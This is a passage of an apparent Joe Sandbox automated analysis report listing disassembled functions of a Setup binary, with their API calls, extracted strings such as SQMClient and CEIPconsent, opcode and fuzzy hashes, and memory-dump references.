                    • Opcode Fuzzy Hash: 6a560a333ce5463214fff4f605b949eea19a86393eee7816bd94ebe14c0ff00e
                    • Instruction Fuzzy Hash: D5315071500289DFCB20DFA4C842BEEB7B5BF05314F10895EE969AFB50C731A608CB61
                    Function 6CBBEA74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBBEA7B
                    • GetComputerObjectNameW.SECUR32(00000007,00000000,6CBBFA6E), ref: 6CBBEAC0
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ComputerH_prolog3NameObject
                    • String ID: microsoft.com
                    • API String ID: 4212761916-499418652
                    • Opcode ID: 2710d63a1560907f35c379e16f4b832b28df1846fd6a9e9c07188f83d62df16f
                    • Instruction ID: 3446b31ddbf100562635f02cd16596174b32a4d62af8fff692bd2c14be9d7b89
                    • Opcode Fuzzy Hash: 2710d63a1560907f35c379e16f4b832b28df1846fd6a9e9c07188f83d62df16f
                    • Instruction Fuzzy Hash: 22216231A011999BCF14DFF8C8805FDBB71AF45318F14465AD132B7BD0DF72A9098692
                    Function 6CBB7DB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB7DB7
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB84CB2: __EH_prolog3.LIBCMT ref: 6CB84CB9
                      • Part of subcall function 6CB8395E: __EH_prolog3.LIBCMT ref: 6CB83965
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: Operation Type$Operation: %s
                    • API String ID: 431132790-3288381836
                    • Opcode ID: 8ad8a267bd5d02a2deffc5d68d35588cebb89b0c834786a90a339385653bc41a
                    • Instruction ID: 8b3a9e2d525df98fe50686a98309bd54236a348fbefc9fde007bc6d9fd52f154
                    • Opcode Fuzzy Hash: 8ad8a267bd5d02a2deffc5d68d35588cebb89b0c834786a90a339385653bc41a
                    • Instruction Fuzzy Hash: 9C214971900189EFCB00DBE8C945AEEBBB8AF04218F14445AE154FB781D771EA09CBA2
                    Function 6CB936F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB936FF
                      • Part of subcall function 6CB938A1: __EH_prolog3.LIBCMT ref: 6CB938A8
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: CustomError$ReturnCode
                    • API String ID: 431132790-4065127629
                    • Opcode ID: f52b5d45207b2d0c545198d029877b8242f2cb755cb21b375706198c179c7bd4
                    • Instruction ID: d199ddf4760fdd0a7627bb9398ea878f6aeb8bedf90974e65328ac4ea5a28368
                    • Opcode Fuzzy Hash: f52b5d45207b2d0c545198d029877b8242f2cb755cb21b375706198c179c7bd4
                    • Instruction Fuzzy Hash: 7F215471A0124AAFCF00DFA8C954AADB7B5BF49318F144559F415EB780CB71EA09CBA1
                    Function 6CBBFF21 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • _wcsnlen.LIBCMT ref: 6CBBFF54
                    • _memcpy_s.LIBCMT ref: 6CBBFF8A
                      • Part of subcall function 6CBD8E8C: __CxxThrowException@8.LIBCMT ref: 6CBD8EA0
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Exception@8Throw_memcpy_s_wcsnlen
                    • String ID: OS Version Information
                    • API String ID: 31407445-551053750
                    • Opcode ID: 9c63a639ee519eab536a0c439a5492597f7296c8b7f45d34778611928766e027
                    • Instruction ID: 88d820451165d14dfb1974ee771ae9f2c00b2ec57f20c7395f19034e4b0aa6ec
                    • Opcode Fuzzy Hash: 9c63a639ee519eab536a0c439a5492597f7296c8b7f45d34778611928766e027
                    • Instruction Fuzzy Hash: BB01C436A00148BF8F04DF69CC84C9D77A9EB853A4712812EF4189B650EA31AA058BD0
                    Function 6CBA531E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52fileCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA5325
                      • Part of subcall function 6CBD8AFC: _wcsnlen.LIBCMT ref: 6CBD8B0C
                    • DeleteFileW.KERNEL32(?,00000010,HFI,00000000,?,6CB7AB18,00000004,6CBCA448,564FE71B,564FE71B,?,?,6CBB4B23), ref: 6CBA5399
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: DeleteFileH_prolog3_wcsnlen
                    • String ID: HFI
                    • API String ID: 1332513528-686494941
                    • Opcode ID: 30261cce62d604ec7398a4024b788030d83a5cfba71a4ac83490f1271ee3e448
                    • Instruction ID: c3d4d9668a5894a5f5fd05db1ffa0807458e70fe486e7ef218d4d93eebb1bbad
                    • Opcode Fuzzy Hash: 30261cce62d604ec7398a4024b788030d83a5cfba71a4ac83490f1271ee3e448
                    • Instruction Fuzzy Hash: 5F1102312005889FCB009FB8C8006AEB7E5AF5435DB110A2AE5629BB90D771EA098691
                    Function 6CBC356C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC3573
                      • Part of subcall function 6CB8579B: _memset.LIBCMT ref: 6CB857CA
                      • Part of subcall function 6CB8579B: GetVersionExW.KERNEL32 ref: 6CB857DF
                      • Part of subcall function 6CB8579B: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 6CB857F5
                      • Part of subcall function 6CB8579B: VerSetConditionMask.KERNEL32(00000000,?,00000001,00000001), ref: 6CB857FD
                      • Part of subcall function 6CB8579B: VerSetConditionMask.KERNEL32(00000000,?,00000020,00000001,?,00000001,00000001), ref: 6CB85805
                      • Part of subcall function 6CB8579B: VerSetConditionMask.KERNEL32(00000000,?,00000010,00000001,?,00000020,00000001,?,00000001,00000001), ref: 6CB8580D
                      • Part of subcall function 6CB8579B: VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB85818
                    Strings
                    • CSDReleaseType, xrefs: 6CBC35CC
                    • SYSTEM\CurrentControlSet\Control\Windows, xrefs: 6CBC35E1
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ConditionMask$Version$H_prolog3InfoVerify_memset
                    • String ID: CSDReleaseType$SYSTEM\CurrentControlSet\Control\Windows
                    • API String ID: 3830908078-406884543
                    • Opcode ID: 26f01a008d9faa38e814079d702a23136199c0e4418aaccc89c94eaf9041c9cd
                    • Instruction ID: a6480f9f5e3175b488a45c83f4fc2e51d0bf7cf0b02f12844b786173110368ca
                    • Opcode Fuzzy Hash: 26f01a008d9faa38e814079d702a23136199c0e4418aaccc89c94eaf9041c9cd
                    • Instruction Fuzzy Hash: 1E01A5B2D101A8ABDB148F18C8116ED3690EB143A9F0A4166FD69EB741C735DA04DBA5
                    Function 6E0C198C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON
                    Download Yara Rule
                    APIs
                    • SqmCleanup.SQMAPI(?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C1E1C
                      • Part of subcall function 6E0C247C: LoadLibraryW.KERNEL32(advapi32,?,6E0C19A1,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C2484
                      • Part of subcall function 6E0C247C: GetProcAddress.KERNEL32(00000000,TraceMessage), ref: 6E0C24A1
                      • Part of subcall function 6E0C247C: GetProcAddress.KERNEL32(00000000,TraceMessageVa), ref: 6E0C24C0
                      • Part of subcall function 6E0C247C: FreeLibrary.KERNEL32(00000000,?,6E0C19A1,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C24D0
                      • Part of subcall function 6E0C2671: InitializeCriticalSectionAndSpinCount.KERNEL32(6E0E0168,00000FA0,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C268E
                      • Part of subcall function 6E0C2671: SetLastError.KERNEL32(00000000,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C26D1
                    • DisableThreadLibraryCalls.KERNEL32(?,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C19CE
                    Strings
                    • Microsoft\Windows\SoftwareQualityMetricsClient, xrefs: 6E0C19AC
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Library$AddressProc$CallsCleanupCountCriticalDisableErrorFreeInitializeLastLoadSectionSpinThread
                    • String ID: Microsoft\Windows\SoftwareQualityMetricsClient
                    • API String ID: 1374315629-2483579846
                    • Opcode ID: 39bb321c67ea482b2c115d3b87e797a542ec057938eb24b0241119f8f8293d76
                    • Instruction ID: 714c8de6b48fe9b8b77bd7fddef2153101d26004038406b7587fd24853c1ec22
                    • Opcode Fuzzy Hash: 39bb321c67ea482b2c115d3b87e797a542ec057938eb24b0241119f8f8293d76
                    • Instruction Fuzzy Hash: 72019230058A44EFCB85EBD1C805F9E3AB9EF02F58F408464E9199F4A6DB30C55E8B67
                    Function 6CBC1602 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                    Download Yara Rule
                    APIs
                    • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?,6CBBFA6E,?,?,?,?,?,?,6CBC34F1,6CBBFA6E,000000FF), ref: 6CBC1637
                    • GetLastError.KERNEL32(?,6CBBFA6E,?,?,?,?,?,?,6CBC34F1,6CBBFA6E,000000FF,?,?,00000738,6CBBFA6E,?), ref: 6CBC1647
                      • Part of subcall function 6CB87479: __EH_prolog3.LIBCMT ref: 6CB87480
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: DiskErrorFreeH_prolog3LastSpace
                    • String ID: GetDiskFreeSpaceEx
                    • API String ID: 3776785849-3355056173
                    • Opcode ID: 5418c5d6b85eae9bbd1febaf8011c66c5eb42ec2ae6386d60c8ca58896f6110a
                    • Instruction ID: e15ddbcde52616f12d413f42b135b1be31d7a40b3d722796220bb136e05dab1a
                    • Opcode Fuzzy Hash: 5418c5d6b85eae9bbd1febaf8011c66c5eb42ec2ae6386d60c8ca58896f6110a
                    • Instruction Fuzzy Hash: B80128B6A00219FB8B00DF99D8458EEBBB9EB98710F144449F905B3240D770AB09CBE1
                    Function 6CBBEC5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBBEC61
                      • Part of subcall function 6CBB3B2B: __EH_prolog3.LIBCMT ref: 6CBB3B32
                      • Part of subcall function 6CBB3B2B: InitializeCriticalSection.KERNEL32(00000002,?,00000000,00000000,00000002,?,?,00000000,?,?,?,?,00000008,6CBBEC79,?,?), ref: 6CBB3BC9
                      • Part of subcall function 6CBC2C16: PathFileExistsW.SHLWAPI(00000000), ref: 6CBC2CA8
                      • Part of subcall function 6CBC2C16: __CxxThrowException@8.LIBCMT ref: 6CBC2CE7
                      • Part of subcall function 6CBC2C16: CopyFileW.KERNEL32(00000010,00000000,00000000,?), ref: 6CBC2D19
                      • Part of subcall function 6CBC2C16: SetFileAttributesW.KERNEL32(?,00000080), ref: 6CBC2D32
                    • InitializeCriticalSection.KERNEL32(?,?,?,.html,00000001,00000000,6CBB747C,00000000,00000000,?,?,?,?,?,?,?), ref: 6CBBECBB
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: File$CriticalH_prolog3InitializeSection$AttributesCopyException@8ExistsPathThrow
                    • String ID: .html
                    • API String ID: 4277916732-2179875201
                    • Opcode ID: 16be1046fe42a4d97abdb1cb9a77b48d102d3f2a029ca9ca715a68fd431adcb8
                    • Instruction ID: d2a74e4b84ceaedecaaa4e9685e033e5aedc7c2359d76fef8bd98ad35727da18
                    • Opcode Fuzzy Hash: 16be1046fe42a4d97abdb1cb9a77b48d102d3f2a029ca9ca715a68fd431adcb8
                    • Instruction Fuzzy Hash: 2DF0CD316002C6EBDB00DBA4C985BECBBA17F1870DF004058D514ABB80CB35FA0DDBA2
                    Function 6CBC02A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC02AA
                    • GetCommandLineW.KERNEL32(0000001C,6CBB9382,-00000960,6CB7A794,?,6CB8BFC7,00000018,6CB8BC3C,-0000093C,?,?,?,?,?,?,UserExperienceDataCollection), ref: 6CBC02AF
                      • Part of subcall function 6CB83E77: __EH_prolog3.LIBCMT ref: 6CB83E7E
                      • Part of subcall function 6CB83A16: __EH_prolog3.LIBCMT ref: 6CB83A1D
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CommandLine
                    • String ID: CEIPconsent
                    • API String ID: 1384747822-2245497618
                    • Opcode ID: 10ce75c46bc88a1cf6211985575ed3ca68d43b95f6cc7c516585da0caf8d3c9c
                    • Instruction ID: d40d0d4aa5fa3c50a11cfcf3007ecce42956c60d386e3218f4fa9811e62cb51c
                    • Opcode Fuzzy Hash: 10ce75c46bc88a1cf6211985575ed3ca68d43b95f6cc7c516585da0caf8d3c9c
                    • Instruction Fuzzy Hash: D8E08C36D421CCAADF00EBE0C804BDD73A85F08618F540410E201B7A80CB38D20C9A30
                    Function 6CBCA1E6 Relevance: 4.7, APIs: 3, Instructions: 225COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBCA1ED
                    • GetCurrentProcessId.KERNEL32(00000020,6CBA53D9,00000000,?,?,6CBB4B23), ref: 6CBCA1FD
                      • Part of subcall function 6CBA5238: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000), ref: 6CBA5254
                      • Part of subcall function 6CBA5238: _memset.LIBCMT ref: 6CBA526E
                      • Part of subcall function 6CBA5238: Process32FirstW.KERNEL32(00000000,?), ref: 6CBA5288
                      • Part of subcall function 6CBA5238: CloseHandle.KERNEL32(00000000), ref: 6CBA52B7
                      • Part of subcall function 6CBD8EAB: _memcpy_s.LIBCMT ref: 6CBD8EFC
                      • Part of subcall function 6CBB8608: __wcsicoll.LIBCMT ref: 6CBB8626
                    • GetTempPathW.KERNEL32(00000104,00000000,6CBB4B23,6CBB4614,6CBB4B23,00000000,00000010,00000010,?,00000000,6CBB4614,?,?,6CBB4B23), ref: 6CBCA415
                      • Part of subcall function 6CBA5238: Process32NextW.KERNEL32(00000000,0000022C), ref: 6CBA52A3
                      • Part of subcall function 6CBD8AFC: _wcsnlen.LIBCMT ref: 6CBD8B0C
                      • Part of subcall function 6CBA531E: __EH_prolog3.LIBCMT ref: 6CBA5325
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3Process32$CloseCreateCurrentFirstHandleNextPathProcessSnapshotTempToolhelp32__wcsicoll_memcpy_s_memset_wcsnlen
                    • String ID:
                    • API String ID: 3082661801-0
                    • Opcode ID: 48586b4aa9bcd0664dd1423bef7f58d00921f2cab9af66325ce3d39657c5bced
                    • Instruction ID: 4622af01ab51117243f7863238a1c9e8c60bba797034553ed7c975f9d06cb22d
                    • Opcode Fuzzy Hash: 48586b4aa9bcd0664dd1423bef7f58d00921f2cab9af66325ce3d39657c5bced
                    • Instruction Fuzzy Hash: 3A916071900289CFDF00DFB8C8446EDBBB4FF04329F154659E550AB791DB39AA09CBA6
                    Function 6E0C182C Relevance: 4.6, APIs: 3, Instructions: 109registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,6E0C2E5E,?,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6E0C1897
                    • RegQueryValueExW.KERNEL32(6E0C2E5E,?,00000000,00000027,80000002,?,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6E0C18B3
                    • RegCloseKey.ADVAPI32(6E0C2E5E,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6E0C18D1
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValue
                    • String ID:
                    • API String ID: 3677997916-0
                    • Opcode ID: c806e04325b9845eee6f4e6a117cb5eef575c7de69b49e7298d0376eca2ae520
                    • Instruction ID: cd3c7a4bfebd3b5b79f89f1a6510f6983e7e41eab86a11216ad159ba38e32358
                    • Opcode Fuzzy Hash: c806e04325b9845eee6f4e6a117cb5eef575c7de69b49e7298d0376eca2ae520
                    • Instruction Fuzzy Hash: F331A431504247AFDB44DED5C8A4FAD3BF9EB11B84F1040A5FA11961A0D370C98C9BA2
                    Function 6CB890AA Relevance: 4.6, APIs: 3, Instructions: 77memoryCOMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: String$AllocFreeH_prolog3
                    • String ID:
                    • API String ID: 2967515224-0
                    • Opcode ID: fa1fcc5c21a9f560a414fa1de5a852e33745e54dfabe5f4049199900a441ad44
                    • Instruction ID: c1c8c99790e407b0e05a91755dd06a3e4f2697979d853721a400ac866ce5408b
                    • Opcode Fuzzy Hash: fa1fcc5c21a9f560a414fa1de5a852e33745e54dfabe5f4049199900a441ad44
                    • Instruction Fuzzy Hash: 56317C70E06289EFCF00EFA4C88899DBBB1FF09318F6485ADE555EB680C7319A45CB11
                    Function 6CBCCC2C Relevance: 4.5, APIs: 3, Instructions: 48COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: __recalloc$H_prolog3
                    • String ID:
                    • API String ID: 59120599-0
                    • Opcode ID: 2804427fe15c046829450d3c0dd58b1b8d0d3190ba8e16adc3724e5e547e132f
                    • Instruction ID: 1960d422a81e67a9aae5cae98fe97a8ce9437728619c7c1c670244e9c840c486
                    • Opcode Fuzzy Hash: 2804427fe15c046829450d3c0dd58b1b8d0d3190ba8e16adc3724e5e547e132f
                    • Instruction Fuzzy Hash: 290171B16407429FE710DF28C841B6A73E0FF24708F118828DAEACBB50D731E804DB51
                    Function 6E0C2815 Relevance: 4.5, APIs: 3, Instructions: 47COMMON
                    Download Yara Rule
                    APIs
                    • GetTokenInformation.KERNELBASE(?,6E0C332F(TokenIntegrityLevel),00000000,00000000,00000000,00000000,00000000,?,?,6E0C36C7,?,00000001), ref: 6E0C2835
                    • GetLastError.KERNEL32(?,?,6E0C36C7,?,00000001,?,?,?,?,6E0C332F,?), ref: 6E0C283B
                      • Part of subcall function 6E0C1967: malloc.MSVCRT(?,6E0E0554), ref: 6E0C1979
                    • GetTokenInformation.KERNELBASE(?,6E0C332F(TokenIntegrityLevel),00000000,00000000,00000000,?,?,6E0C36C7,?,00000001,?,?,?,?,6E0C332F,?), ref: 6E0C2863
                    Memory Dump Source
